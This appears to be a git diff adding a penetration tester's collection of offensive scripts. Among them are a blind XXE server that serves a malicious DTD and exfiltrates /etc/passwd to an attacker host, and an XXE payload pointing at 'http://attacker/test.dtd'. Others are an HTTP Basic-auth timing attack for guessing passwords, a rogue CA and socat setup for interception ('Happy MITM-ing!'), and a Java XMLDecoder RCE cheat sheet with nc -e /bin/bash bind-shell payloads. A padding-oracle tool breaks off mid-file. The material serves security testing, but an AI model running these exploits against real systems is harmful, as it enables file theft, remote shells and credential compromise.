(!askedAlready) {askedAlready = true; if (confirm('Logout URL has been found, do you want to issue it as well?')) {includeLogouts = true; } } good = includeLogouts; } }); if(good) {arr.add(uri); if(arr.size > MAX_URLS_TO_FETCH) {if(!limit_reached) {alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...'); limit_reached = true; } return arr; } } } else if (uri.length > 0) {console.log('Skipping: ' + uri); } match = r.exec(code); } } return arr; } function fetchUrls(arr) {if(arr.size < 1) {return false; } var i = 0; arr.forEach(function(uri){i += 1; console.log('Requesting #' + i + ': "' + uri + '"'); xhr = new XMLHttpRequest(); xhr.open('get', uri, true); xhr.send(); }); return i; } html = document.documentElement.innerHTML; urls = collectUrls(html); len = fetchUrls(urls); alert('Asynchronously requested ' + len + ' URLs.'); xhr = new XMLHttpRequest(); xhr.onload = function() {if(xhr.readyState == xhr.DONE && xhr.status == 200) {console.log('Got sitemap.xml. Parsing...'); urls2 = collectUrls(this.responseText); len2 = fetchUrls(urls2); alert('Fetched ' + len2 + ' URLs from sitemap.xml'); } }; xhr.open('GET', location.origin + '/sitemap.xml', true); xhr.responseType = 'text'; xhr.send(); })()
|
||||||
|
|
||||||
|
|
||||||
|
/* Full code:
|
||||||
|
javascript:(function(){
|
||||||
|
|
||||||
|
MAX_URLS_TO_FETCH = 512;
|
||||||
|
limit_reached = false;
|
||||||
|
|
||||||
|
function decodeHtml(html) {
|
||||||
|
txt = document.createElement('textarea');
|
||||||
|
txt.innerHTML = html;
|
||||||
|
return txt.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
String.prototype.endsWith = function(suffix) {
|
||||||
|
return this.indexOf(suffix, this.length - suffix.length) !== -1;
|
||||||
|
};
|
||||||
|
|
||||||
|
function normalizeUri(uri) {
|
||||||
|
if (!uri || uri.length < 1) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
if(uri.toLowerCase().startsWith('javascript:')
|
||||||
|
|| uri.toLowerCase().startsWith('mailto:')
|
||||||
|
|| uri.toLowerCase().startsWith('phone:')
|
||||||
|
|| uri.toLowerCase().startsWith('tel:')
|
||||||
|
|| uri.toLowerCase().startsWith('phone:')
|
||||||
|
|| uri.toLowerCase().startsWith('#')
|
||||||
|
) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
orig = location.origin;
|
||||||
|
if (uri.startsWith('http') && !uri.startsWith(orig)) {
|
||||||
|
if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {
|
||||||
|
return uri;
|
||||||
|
}
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
if (uri.startsWith(orig)) {
|
||||||
|
return uri;
|
||||||
|
}
|
||||||
|
if (uri.startsWith('//')) {
|
||||||
|
return location.protocol + uri;
|
||||||
|
}
|
||||||
|
if (uri.startsWith('"') || uri.startsWith("'") ) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
if (!uri.startsWith('/')) {
|
||||||
|
var h = location.href;
|
||||||
|
return h.substr(0, h.lastIndexOf('/') + 1) + uri;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return orig + uri;
|
||||||
|
}
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
function collectUrls(code) {
|
||||||
|
if (!code || code.length < 64) {
|
||||||
|
return new Array();
|
||||||
|
}
|
||||||
|
|
||||||
|
origin = location.origin;
|
||||||
|
arr = new Set();
|
||||||
|
excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif'];
|
||||||
|
askedAlready = false;
|
||||||
|
includeLogouts = false;
|
||||||
|
logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i;
|
||||||
|
|
||||||
|
rexes = [
|
||||||
|
/(?:href|src|action)="([^"]+)"/gi,
|
||||||
|
/(?:href|src|action)='([^']+)'/gi,
|
||||||
|
/'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi,
|
||||||
|
/"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi,
|
||||||
|
/((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi
|
||||||
|
];
|
||||||
|
|
||||||
|
n = rexes.length;
|
||||||
|
for (var i = 0; i < rexes.length; i++) {
|
||||||
|
|
||||||
|
r = new RegExp(rexes[i]);
|
||||||
|
match = r.exec(code);
|
||||||
|
|
||||||
|
while (match != null) {
|
||||||
|
|
||||||
|
uri2 = '';
|
||||||
|
if (typeof match[1] !== 'undefined') uri2 += match[1];
|
||||||
|
if (typeof match[2] !== 'undefined') uri2 += match[2];
|
||||||
|
if (typeof match[3] !== 'undefined') uri2 += match[3];
|
||||||
|
|
||||||
|
uri = decodeHtml(uri2) || uri2;
|
||||||
|
uri = normalizeUri(uri);
|
||||||
|
|
||||||
|
in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')));
|
||||||
|
if(uri.startsWith(orig) != in_scope_wo_scheme) {
|
||||||
|
uri = location.protocol + uri.substr(uri.indexOf(':')+1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (uri && uri.length > 0 && uri.startsWith(orig)) {
|
||||||
|
good = true;
|
||||||
|
excluded.forEach(function(ext) {
|
||||||
|
if (uri.endsWith(ext)) {
|
||||||
|
good = false;
|
||||||
|
} else if (logoutRex.test(uri)) {
|
||||||
|
if (!askedAlready) {
|
||||||
|
askedAlready = true;
|
||||||
|
if (confirm('Logout URL has been found, do you want to issue it as well?')) {
|
||||||
|
includeLogouts = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
good = includeLogouts;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if(good) {
|
||||||
|
arr.add(uri);
|
||||||
|
|
||||||
|
if(arr.size > MAX_URLS_TO_FETCH) {
|
||||||
|
if(!limit_reached) {
|
||||||
|
alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...');
|
||||||
|
limit_reached = true;
|
||||||
|
}
|
||||||
|
return arr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (uri.length > 0) {
|
||||||
|
console.log('Skipping: ' + uri);
|
||||||
|
}
|
||||||
|
match = r.exec(code);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
function fetchUrls(arr) {
|
||||||
|
if(arr.size < 1) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
var i = 0;
|
||||||
|
arr.forEach(function(uri){
|
||||||
|
i += 1;
|
||||||
|
console.log('Requesting #' + i + ': "' + uri + '"');
|
||||||
|
xhr = new XMLHttpRequest();
|
||||||
|
xhr.open('get', uri, true);
|
||||||
|
xhr.send();
|
||||||
|
});
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
html = document.documentElement.innerHTML;
|
||||||
|
urls = collectUrls(html);
|
||||||
|
len = fetchUrls(urls);
|
||||||
|
alert('Asynchronously requested ' + len + ' URLs.');
|
||||||
|
|
||||||
|
xhr = new XMLHttpRequest();
|
||||||
|
xhr.onload = function() {
|
||||||
|
if(xhr.readyState == xhr.DONE && xhr.status == 200) {
|
||||||
|
console.log('Got sitemap.xml. Parsing...');
|
||||||
|
urls2 = collectUrls(this.responseText);
|
||||||
|
len2 = fetchUrls(urls2);
|
||||||
|
|
||||||
|
alert('Fetched ' + len2 + ' URLs from sitemap.xml');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
xhr.open('GET', location.origin + '/sitemap.xml', true);
|
||||||
|
xhr.responseType = 'text';
|
||||||
|
xhr.send();
|
||||||
|
|
||||||
|
})()
|
||||||
|
*/
|
|
@ -0,0 +1,3 @@
|
||||||
|
Content-Type: text/xml
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxetestd [<!ENTITY xxetest SYSTEM "http://attacker/test.dtd">]><foo>&xxetest;</foo>
|
|
@ -0,0 +1,120 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simple Blind XXE server intended to handle incoming requests for
|
||||||
|
# malicious DTD file, that will subsequently ask for locally stored file,
|
||||||
|
# like file:///etc/passwd.
|
||||||
|
#
|
||||||
|
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
|
||||||
|
# to be run as follows:
|
||||||
|
#
|
||||||
|
# 0. Configure global variables: SERVER_SOCKET and RHOST
|
||||||
|
#
|
||||||
|
# 1. Run the below script, using:
|
||||||
|
# $ python blindxxe.py <filepath>
|
||||||
|
#
|
||||||
|
# where <filepath> can be for instance: "file:///etc/passwd"
|
||||||
|
#
|
||||||
|
# 2. Then, while server is running - invoke XXE by requesting e.g.
|
||||||
|
# $ curl -X POST http://vulnerable/app --data-binary \
|
||||||
|
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
|
||||||
|
#
|
||||||
|
# The expected result will be like the following:
|
||||||
|
#
|
||||||
|
# $ python blindxxe.py
|
||||||
|
# Exfiltrated file:///etc/passwd:
|
||||||
|
# ------------------------------
|
||||||
|
# root:x:0:0:root:/root:/bin/sh
|
||||||
|
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
|
||||||
|
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
|
||||||
|
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
|
||||||
|
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Mariusz B., 2016
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
import urllib
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
import socket
|
||||||
|
|
||||||
|
#
|
||||||
|
# CONFIGURE THE BELOW VARIABLES
|
||||||
|
#
|
||||||
|
|
||||||
|
SERVER_SOCKET = ('0.0.0.0', 8000)
|
||||||
|
EXFIL_FILE = 'file:///etc/passwd'
|
||||||
|
|
||||||
|
# The host on which you will run this server
|
||||||
|
RHOST = '192.168.56.1:' + str(SERVER_SOCKET[1])
|
||||||
|
|
||||||
|
|
||||||
|
EXFILTRATED_EVENT = threading.Event()
|
||||||
|
|
||||||
|
class BlindXXEServer(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
|
def response(self, **data):
|
||||||
|
code = data.get('code', 200)
|
||||||
|
content_type = data.get('content_type', 'text/plain')
|
||||||
|
body = data.get('body', '')
|
||||||
|
|
||||||
|
self.send_response(code)
|
||||||
|
self.send_header('Content-Type', content_type)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(body.encode('utf-8'))
|
||||||
|
self.wfile.close()
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
self.request_handler(self)
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
self.request_handler(self)
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
return
|
||||||
|
|
||||||
|
def request_handler(self, request):
|
||||||
|
global EXFILTRATED_EVENT
|
||||||
|
|
||||||
|
path = urllib.unquote(request.path).decode('utf8')
|
||||||
|
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
|
||||||
|
if m and request.command.lower() == 'get':
|
||||||
|
data = path[len('/?exfil='):]
|
||||||
|
print 'Exfiltrated %s:' % EXFIL_FILE
|
||||||
|
print '-' * 30
|
||||||
|
print urllib.unquote(data).decode('utf8')
|
||||||
|
print '-' * 30 + '\n'
|
||||||
|
self.response(body='true')
|
||||||
|
|
||||||
|
EXFILTRATED_EVENT.set()
|
||||||
|
|
||||||
|
elif request.path.endswith('.dtd'):
|
||||||
|
#print '[DEBUG] Sending malicious DTD file.'
|
||||||
|
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
|
||||||
|
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
|
||||||
|
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
|
||||||
|
|
||||||
|
self.response(content_type='text/xml', body=dtd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
#print '[INFO] %s %s' % (request.command, request.path)
|
||||||
|
self.response(body='false')
|
||||||
|
|
||||||
|
def main():
|
||||||
|
server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
|
||||||
|
thread = threading.Thread(target=server.serve_forever)
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
while not EXFILTRATED_EVENT.is_set():
|
||||||
|
pass
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
EXFIL_FILE = sys.argv[1]
|
||||||
|
main()
|
|
@ -0,0 +1,44 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simple script for making "Copy as curl command" output in system's clipboard a little nicer\
|
||||||
|
# To use it:
|
||||||
|
# - firstly right click on request in BurpSuite
|
||||||
|
# - select "Copy as curl command"
|
||||||
|
# - then launch this script.
|
||||||
|
# As a result, you'll have a bit nicer curl command in your clipboard.
|
||||||
|
#
|
||||||
|
|
||||||
|
try:
|
||||||
|
import xerox
|
||||||
|
except ImportError:
|
||||||
|
raise ImportError, "`xerox` library not found. Install it using: `pip install xerox`"
|
||||||
|
import re
|
||||||
|
|
||||||
|
data = xerox.paste()
|
||||||
|
data = re.sub(r"\s+\\\n\s+", ' ', data, re.M)
|
||||||
|
data = re.sub('curl -i -s -k\s+-X', 'curl -iskX', data)
|
||||||
|
if "-iskX 'GET'" in data:
|
||||||
|
data = data.replace("-iskX 'GET'", '')
|
||||||
|
else:
|
||||||
|
data = re.sub(r"-iskX '([^']+)' ", r"-iskX \1 ", data)
|
||||||
|
|
||||||
|
superfluous_headers = {
|
||||||
|
'Upgrade-Insecure-Requests':'',
|
||||||
|
'DNT':'',
|
||||||
|
'User-Agent':'',
|
||||||
|
'Content-Type':"application/x-www-form-urlencoded",
|
||||||
|
'Referer':'',
|
||||||
|
}
|
||||||
|
|
||||||
|
for k, v in superfluous_headers.items():
|
||||||
|
val = v
|
||||||
|
if not val:
|
||||||
|
val = "[^']+"
|
||||||
|
rex = r" -H '" + k + ": " + val + "' "
|
||||||
|
m = re.search(rex, data)
|
||||||
|
if m:
|
||||||
|
data = re.sub(rex, ' ', data)
|
||||||
|
|
||||||
|
data = re.sub(r"'(http[^']+)'$", r'"\1"', data)
|
||||||
|
xerox.copy(data)
|
|
@ -0,0 +1,91 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from burp import IBurpExtender
|
||||||
|
from burp import IParameter
|
||||||
|
from burp import IHttpListener
|
||||||
|
from burp import IExtensionStateListener
|
||||||
|
|
||||||
|
# Can be used with:
|
||||||
|
# https://github.com/securityMB/burp-exceptions
|
||||||
|
# from exceptions_fix import FixBurpExceptions
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import urlparse
|
||||||
|
from urllib import urlencode
|
||||||
|
|
||||||
|
|
||||||
|
HOST_SCOPE = 'www.example.com'
|
||||||
|
TRIGGER_PATTERN = '/some/path/'
|
||||||
|
COOKIE_NAME = 'cookieTicket'
|
||||||
|
PARAMETER_NAME = 'ticket'
|
||||||
|
|
||||||
|
class BurpExtender(IBurpExtender, IHttpListener, IExtensionStateListener):
|
||||||
|
ticket = ''
|
||||||
|
|
||||||
|
def registerExtenderCallbacks(self, callbacks):
|
||||||
|
# sys.stdout = callbacks.getStdout()
|
||||||
|
|
||||||
|
print '[+] Ticket appender is loading...'
|
||||||
|
|
||||||
|
self._callbacks = callbacks
|
||||||
|
|
||||||
|
# helpers object for analyzing HTTP request
|
||||||
|
self._helpers = callbacks.getHelpers()
|
||||||
|
|
||||||
|
callbacks.setExtensionName("Copy Specific Cookie into URL parameter")
|
||||||
|
callbacks.registerHttpListener(self)
|
||||||
|
callbacks.registerExtensionStateListener(self)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def addUrlParam(self, _url, name, value):
|
||||||
|
pos1 = _url.find(' ') + 1
|
||||||
|
pos2 = _url.rfind(' ')
|
||||||
|
url = _url[pos1:pos2]
|
||||||
|
|
||||||
|
url_parts = list(urlparse.urlparse(url))
|
||||||
|
query = dict(urlparse.parse_qsl(url_parts[4]))
|
||||||
|
query.update({name : value})
|
||||||
|
url_parts[4] = urlencode(query)
|
||||||
|
|
||||||
|
new_url = str(urlparse.urlunparse(url_parts))
|
||||||
|
|
||||||
|
return _url[:pos1] + new_url + _url[pos2:]
|
||||||
|
|
||||||
|
|
||||||
|
def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
|
||||||
|
if messageIsRequest:
|
||||||
|
requestInfo = self._helpers.analyzeRequest(currentRequest)
|
||||||
|
|
||||||
|
headers = requestInfo.getHeaders()
|
||||||
|
|
||||||
|
if re.match('Host: ' + HOST_SCOPE, headers[1], re.I):
|
||||||
|
for h in headers:
|
||||||
|
if 'Cookie' in h and COOKIE_NAME in h:
|
||||||
|
pos0 = h.find(COOKIE_NAME)
|
||||||
|
pos1 = h.find('=', pos0)
|
||||||
|
pos2 = h.find(';', pos1)
|
||||||
|
ticket = h[pos1+1:pos2]
|
||||||
|
|
||||||
|
if ticket != self.ticket:
|
||||||
|
print "[?] Cookie's value changed: '%s' => '%s'" % (ticket, self.ticket)
|
||||||
|
self.ticket = ticket
|
||||||
|
|
||||||
|
url = headers[0]
|
||||||
|
print '[*] Working url: "%s"' % url
|
||||||
|
print '[*] Self.ticket = "%s"' % self.ticket
|
||||||
|
|
||||||
|
if TRIGGER_PATTERN in url and self.ticket != '' and PARAMETER_NAME + '=' not in url:
|
||||||
|
print '[?] No Ticket parameter in URL. Adding it...'
|
||||||
|
|
||||||
|
newHeaders = list(headers)
|
||||||
|
newHeaders[0] = self.addUrlParam(url, PARAMETER_NAME, ' ' + self.ticket)
|
||||||
|
print '[?] Updating URL from: "%s" => "%s"' % (headers[0], newHeaders[0])
|
||||||
|
|
||||||
|
bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
|
||||||
|
bodyStr = self._helpers.bytesToString(bodyBytes)
|
||||||
|
|
||||||
|
newMessage = self._helpers.buildHttpMessage(newHeaders, bodyStr)
|
||||||
|
currentRequest.setRequest(newMessage)
|
||||||
|
|
||||||
|
# FixBurpExceptions()
|
|
@ -0,0 +1,31 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
echo -e "\n\nSimple SSL/TLS self-signed CA Certificate generator\n\n"
|
||||||
|
|
||||||
|
if [ -z $1 ]; then
|
||||||
|
echo "Usage: $0 [file_name]"
|
||||||
|
echo -e "\nGoing with default name: './rogue_server'\n\n"
|
||||||
|
fi
|
||||||
|
|
||||||
|
FILENAME=${1:-rogue_server}
|
||||||
|
|
||||||
|
echo "[+] Generating public and private keys pair (.key)..."
|
||||||
|
openssl genrsa -out $FILENAME.key 1024
|
||||||
|
|
||||||
|
echo "[+] Generating a self-signed x509 CA's certificate (.crt)..."
|
||||||
|
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3600 -out $FILENAME.crt
|
||||||
|
|
||||||
|
echo "[+] Generating the PEM file out of the key and certificate files..."
|
||||||
|
cat $FILENAME.key $FILENAME.crt > $FILENAME.pem
|
||||||
|
|
||||||
|
echo -e "\n[>] Certificate's dump:"
|
||||||
|
openssl x509 -in $FILENAME.pem -text -noout
|
||||||
|
|
||||||
|
echo -e "\n[>] Generated files:"
|
||||||
|
echo -e "\tPKI keys (public/private):\t$FILENAME.key"
|
||||||
|
echo -e "\tCA Certficate:\t\t$FILENAME.crt"
|
||||||
|
echo -e "\tResulting PEM:\t\t$FILENAME.pem"
|
||||||
|
|
||||||
|
echo -e "\n\n[+] Now you can start a TLS-enabled server with:\n"
|
||||||
|
echo -e "\n$ sudo socat -vv openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect::,verify=0 \n"
|
||||||
|
echo "Happy MITM-ing!"
|
|
@ -0,0 +1,51 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
"""
|
||||||
|
Very simple HTTP server in python.
|
||||||
|
|
||||||
|
Usage::
|
||||||
|
./dummy-web-server.py [<port>]
|
||||||
|
|
||||||
|
Send a GET request::
|
||||||
|
curl http://localhost
|
||||||
|
|
||||||
|
Send a HEAD request::
|
||||||
|
curl -I http://localhost
|
||||||
|
|
||||||
|
Send a POST request::
|
||||||
|
curl -d "foo=bar&bin=baz" http://localhost
|
||||||
|
|
||||||
|
"""
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
import SocketServer
|
||||||
|
|
||||||
|
class S(BaseHTTPRequestHandler):
|
||||||
|
def _set_headers(self):
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-type', 'text/html')
|
||||||
|
self.end_headers()
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
self._set_headers()
|
||||||
|
self.wfile.write("<html><body><h1>hi!</h1></body></html>")
|
||||||
|
|
||||||
|
def do_HEAD(self):
|
||||||
|
self._set_headers()
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
# Doesn't do anything with posted data
|
||||||
|
self._set_headers()
|
||||||
|
self.wfile.write("<html><body><h1>POST!</h1></body></html>")
|
||||||
|
|
||||||
|
def run(server_class=HTTPServer, handler_class=S, port=80):
|
||||||
|
server_address = ('', port)
|
||||||
|
httpd = server_class(server_address, handler_class)
|
||||||
|
print 'Starting httpd...'
|
||||||
|
httpd.serve_forever()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
from sys import argv
|
||||||
|
|
||||||
|
if len(argv) == 2:
|
||||||
|
run(port=int(argv[1]))
|
||||||
|
else:
|
||||||
|
run()
|
|
@ -0,0 +1,53 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import datetime
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
|
||||||
|
ALPHABET = string.printable
|
||||||
|
RETRIES = 1
|
||||||
|
|
||||||
|
def fetch(url, username, password):
|
||||||
|
a = datetime.datetime.now()
|
||||||
|
r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password))
|
||||||
|
if r.status_code == 200:
|
||||||
|
return 0
|
||||||
|
b = datetime.datetime.now()
|
||||||
|
return (b - a).total_seconds()
|
||||||
|
|
||||||
|
def main(url, username):
|
||||||
|
|
||||||
|
pass_so_far = ''
|
||||||
|
while True:
|
||||||
|
print '\n[>] Password so far: "%s"\n' % pass_so_far
|
||||||
|
times = {}
|
||||||
|
avg_times = {}
|
||||||
|
for p in ALPHABET:
|
||||||
|
times[p] = []
|
||||||
|
avg_times[p] = 0.0
|
||||||
|
for i in range(RETRIES):
|
||||||
|
password = pass_so_far + p
|
||||||
|
t = fetch(url, username, password)
|
||||||
|
if t == 0:
|
||||||
|
print 'Password found: "%s"' % password
|
||||||
|
return
|
||||||
|
times[p].append(t)
|
||||||
|
|
||||||
|
avg_times[p] = sum(times[p]) / float(RETRIES)
|
||||||
|
if ord(p) > 32:
|
||||||
|
print '\tLetter: "%c" - time: %f' % (p, avg_times[p])
|
||||||
|
|
||||||
|
max_time = [0,0]
|
||||||
|
for letter, time_ in times.items():
|
||||||
|
if time_ > max_time[1]:
|
||||||
|
max_time[0] = letter
|
||||||
|
max_time[1] = time_
|
||||||
|
|
||||||
|
pass_so_far += max_time[0]
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print 'usage: http-auth-timing.py <url> <username>'
|
||||||
|
|
||||||
|
main(sys.argv[1], sys.argv[2])
|
|
@ -0,0 +1,80 @@
|
||||||
|
## Java Beans XMLDecoder Remote Code Execution cheatsheet
|
||||||
|
|
||||||
|
Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters.
|
||||||
|
|
||||||
|
### Payloads
|
||||||
|
|
||||||
|
When one would like to start a bind shell on the target machine, he could use the payload like the following one:
|
||||||
|
```
|
||||||
|
Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});
|
||||||
|
```
|
||||||
|
|
||||||
|
In such case desired XML would look like the following one:
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<java version="1.8.0_102" class="java.beans.XMLDecoder">
|
||||||
|
<object class="java.lang.Runtime" method="getRuntime">
|
||||||
|
<void method="exec">
|
||||||
|
<array class="java.lang.String" length="6">
|
||||||
|
<void index="0">
|
||||||
|
<string>/usr/bin/nc</string>
|
||||||
|
</void>
|
||||||
|
<void index="1">
|
||||||
|
<string>-l</string>
|
||||||
|
</void>
|
||||||
|
<void index="2">
|
||||||
|
<string>-p</string>
|
||||||
|
</void>
|
||||||
|
<void index="3">
|
||||||
|
<string>4444</string>
|
||||||
|
</void>
|
||||||
|
<void index="4">
|
||||||
|
<string>-e</string>
|
||||||
|
</void>
|
||||||
|
<void index="5">
|
||||||
|
<string>/bin/bash</string>
|
||||||
|
</void>
|
||||||
|
</array>
|
||||||
|
</void>
|
||||||
|
</object>
|
||||||
|
</java>
|
||||||
|
```
|
||||||
|
|
||||||
|
or by using `ProcessBuilder`:
|
||||||
|
|
||||||
|
```
|
||||||
|
new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()
|
||||||
|
```
|
||||||
|
|
||||||
|
Then the payload would look like:
|
||||||
|
|
||||||
|
```
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<java version="1.8.0_102" class="java.beans.XMLDecoder">
|
||||||
|
<void class="java.lang.ProcessBuilder">
|
||||||
|
<array class="java.lang.String" length="6">
|
||||||
|
<void index="0">
|
||||||
|
<string>/usr/bin/nc</string>
|
||||||
|
</void>
|
||||||
|
<void index="1">
|
||||||
|
<string>-l</string>
|
||||||
|
</void>
|
||||||
|
<void index="2">
|
||||||
|
<string>-p</string>
|
||||||
|
</void>
|
||||||
|
<void index="3">
|
||||||
|
<string>4444</string>
|
||||||
|
</void>
|
||||||
|
<void index="4">
|
||||||
|
<string>-e</string>
|
||||||
|
</void>
|
||||||
|
<void index="5">
|
||||||
|
<string>/bin/bash</string>
|
||||||
|
</void>
|
||||||
|
</array>
|
||||||
|
<void method="start" id="process">
|
||||||
|
</void>
|
||||||
|
</void>
|
||||||
|
</java>
|
||||||
|
```
|
|
@ -0,0 +1,12 @@
|
||||||
|
let ipAddresses = [];
|
||||||
|
|
||||||
|
var oRTCIceGatherer = new RTCIceGatherer({ "gatherPolicy": "all", "iceServers": [] });
|
||||||
|
oRTCIceGatherer.onlocalcandidate = function (oEvent) {
|
||||||
|
if(oEvent.candidate.type == "host") {
|
||||||
|
ipAddresses.push(oEvent.candidate.ip);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
setTimeout(function() {
|
||||||
|
console.log(ipAddresses.toString());
|
||||||
|
}, 500);
|
|
@ -0,0 +1,311 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
#
|
||||||
|
# Padding Oracle test-cases generator.
|
||||||
|
# Mariusz B. / mgeeky, 2016
|
||||||
|
# v0.2
|
||||||
|
#
|
||||||
|
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
|
||||||
|
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
|
||||||
|
#
|
||||||
|
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
|
||||||
|
# and then generates all the possible, reasonable cipher text transformations to be used while manually
|
||||||
|
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
|
||||||
|
# encoded values to be used in manual application testing approaches, like sending requests.
|
||||||
|
#
|
||||||
|
# One of possible scenarios and ways to use the below script could be the following:
|
||||||
|
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
|
||||||
|
# - launch pador.py which is an example of application vulnerable to Padding Oracle
|
||||||
|
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
|
||||||
|
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
|
||||||
|
# result would be considered padding-hit, therefore vulnerability proof.
|
||||||
|
#
|
||||||
|
# This script could be then launched to generate every possible test case of second to the last block
|
||||||
|
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
|
||||||
|
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
|
||||||
|
#
|
||||||
|
# Such example usage look like:
|
||||||
|
#
|
||||||
|
#---------------------------------------------
|
||||||
|
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
|
||||||
|
